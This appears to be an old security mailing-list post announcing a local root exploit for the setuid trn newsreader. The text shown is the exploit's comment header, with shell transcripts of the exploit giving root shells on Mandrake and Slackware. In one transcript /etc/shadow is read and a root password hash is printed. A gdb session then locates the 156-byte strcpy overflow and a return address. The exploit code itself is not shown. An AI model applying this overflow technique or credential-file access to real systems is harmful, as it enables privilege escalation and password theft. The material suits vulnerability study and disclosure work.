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From: zzagorrzzagorr at hotmail.com (Z z a g o r R) Subject: /usr/bin/trn local root exploit /* --------------------------------------- TEST MANDRAKE 9.2 sh-2.05b# cat /proc/version Linux version 2.4.22-10mdk (nplanel@...mandrakesoft.com) (gcc version 3.3.1 (Mandrake Linux 9.2 3.3.1-2mdk)) #1 Thu Sep 18 12:30:58 CEST 2003 sh-2.05b# rpm -qa trn trn-3.6-17mdk sh-2.05b# chmod +s /usr/bin/trn chmod +s /usr/bin/trn sh-2.05b# sh-2.05b# ls -al /usr/bin/trn ls -al /usr/bin/trn -rwsr-sr-x 1 root root 233624 Jan 10 2003 /usr/bin/trn sh-2.05b# exit sh-2.05b$ ./trn 0xbfffff96 sh-2.05b# id uid=0(root) gid=4294967295 groups=4294967295 sh-2.05b# sh-2.05b# cat /etc/shadow cat /etc/shadow root:$1$HC7/pHcz$L0w/RpmeVEF9Xbnf7iHjv/:12554:0:99999:7::: .... --------------------------------------- TEST SLACKWARE 10.0.0(not suid) bash-2.05b$ cat /etc/slackware-version Slackware 10.0.0 bash-2.05b$ cat /proc/version Linux version 2.4.26 (root@...t) (gcc version 3.3.4) #2 Mon Jun 14 19:05:05 PDT 2004 bash-2.05b$ uname -a Linux nyg 2.4.26 #2 Mon Jun 14 19:05:05 PDT 2004 i686 unknown unknown GNU/Linux bash-2.05b$ ./a 0xbfffff98 sh-2.05b$ ---------------------------------------- TEST SLACKWARE 9.1.0 sh-2.05b$ ./trn 0xbfffff84 ./trn 0xbfffff84 sh-2.05b# sh-2.05b# id id uid=0(root) gid=98(nobody) groups=98(nobody) */ /* RETADDR?(mandrake...) sh-2.05b$ gdb ./trn gdb ./trn GNU gdb 5.3-25mdk (Mandrake Linux) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux-gnu"... (no debugging symbols found)... (gdb) (gdb) r `perl -e 'print "A" x 156'` --------->BUFFER=>156 (gdb) r `perl -e 'print "A" x 156'` Starting program: /usr/bin/trn `perl -e 'print "A" x 156'` (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x0805ad05 in strcpy () (gdb) i r eax 0x0 0 ecx 0x8087244 134771268 edx 0xbffff850 -1073743792 ebx 0x41414141 1094795585 esp 0xbffff931 0xbffff931 ebp 0x41414141 0x41414141 esi 0x41414141 1094795585 edi 0x41414141 1094795585 eip 0x805ad05 0x805ad05 eflags 0x10246 66118 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 fctrl 0x37f 895 fstat 0x0 0 ftag 0xffff 65535 fiseg 0x0 0 fioff 0x0 0 foseg 0x0 0 fooff 0x0 0 fop 0x0 0 mxcsr 0x1f80 8064 orig_eax 0xffffffff -1 (gdb) x/1000x $esp 0xbffff931: 0x2c080872 0x01bfffff 0x01000000 0x41000000 . .. ... ---Type <return> to continue, or q <return> to quit--- .... ..... ...... ---Type <return> to continue, or q <return> to quit--- ....... ........ ......... ---Type <return> to continue, or q <return> to quit--- .......... ........... ............ ---Type <return> to continue, or q <return> to quit--- 0xbffffef1: 0x0effffff 0xff000000 0x0fffffff 0x1a000000 0xbfffff01: 0x00bfffff 0x00000000 0x00000000 0x00000000 0xbfffff11: 0x00000000 0x00000000 0x38366900 0x752f0036 0xbfffff21: 0x622f7273 0x742f6e69 0x41006e72 0x41414141 0xbfffff31: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff41: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff51: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff61: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff71: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff81: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffff91: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffffa1: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffffb1: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffffc1: 0x41414141 0x00414141 0x622f3d5f 0x732f6e69 0xbfffffd1: 0x57500068 0x752f3d44 0x622f7273 0x48006e69 0xbfffffe1: 0x3d454d4f 0x4853002f 0x3d4c564c 0x752f0031 0xbffffff1: 0x622f7273 0x742f6e69 0x00006e72 Cannot access memory at address 0xbffffffd (gdb) */ _________________________________________________________________ En etkili ve güvenilir PC Korumayi tercih edin, rahat edin! http://www.msn.com.tr/security/
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